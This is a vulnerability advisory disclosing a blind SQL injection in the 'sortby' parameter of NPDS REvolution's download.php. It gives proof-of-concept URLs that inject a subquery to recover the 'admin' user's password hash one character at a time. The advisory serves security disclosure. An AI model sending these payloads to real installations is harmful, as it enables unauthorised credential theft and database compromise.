Blind SQL injection vulnerability in NPDS REvolution

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22364
Reference: 
http://www.htbridge.ch/advisory/blind_sql_injection_vulnerability_in_NPDSREvolution.html
Product: NPDS REvolution
Vendor: NPDS
Vulnerable Version: REvolution 10.02 and Probably Prior Versions
Vendor Notification: 29 April 2010 
Vulnerability Type: Blind SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/download.php" script to 
properly sanitize user-supplied input in "sortby" variable. Attacker can alter 
queries to the application SQL database, execute arbitrary queries to the 
database, compromise the application, access to sensitive data, or exploit 
various vulnerabilities in the underlying SQL database.

Attacker can use browser to exploit this vulnerability. The following PoC is 
available: 


http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105,
 110%29+and+substr%28pwd,1,1%29=char%2848%29%29+DESC--
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105,
 110%29+and+substr%28pwd,1,1%29=char%2849%29%29+DESC--
...
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105,
 110%29+and+substr%28pwd,1,1%29=char%2884%29%29+DESC--
....
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105,
 110%29+and+substr%28pwd,2,1%29=char%2848%29%29+DESC--
...
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105,
 110%29+and+substr%28pwd,2,1%29=char%28101%29%29+DESC--
...
...
http://host/download.php?dcategory=All&sortby=%28select%20did%20from%20authors+where+aid=char%2897,100,109,105,
 110%29+and+substr%28pwd,3,1%29=char%2852%29%29+DESC--
...
...
...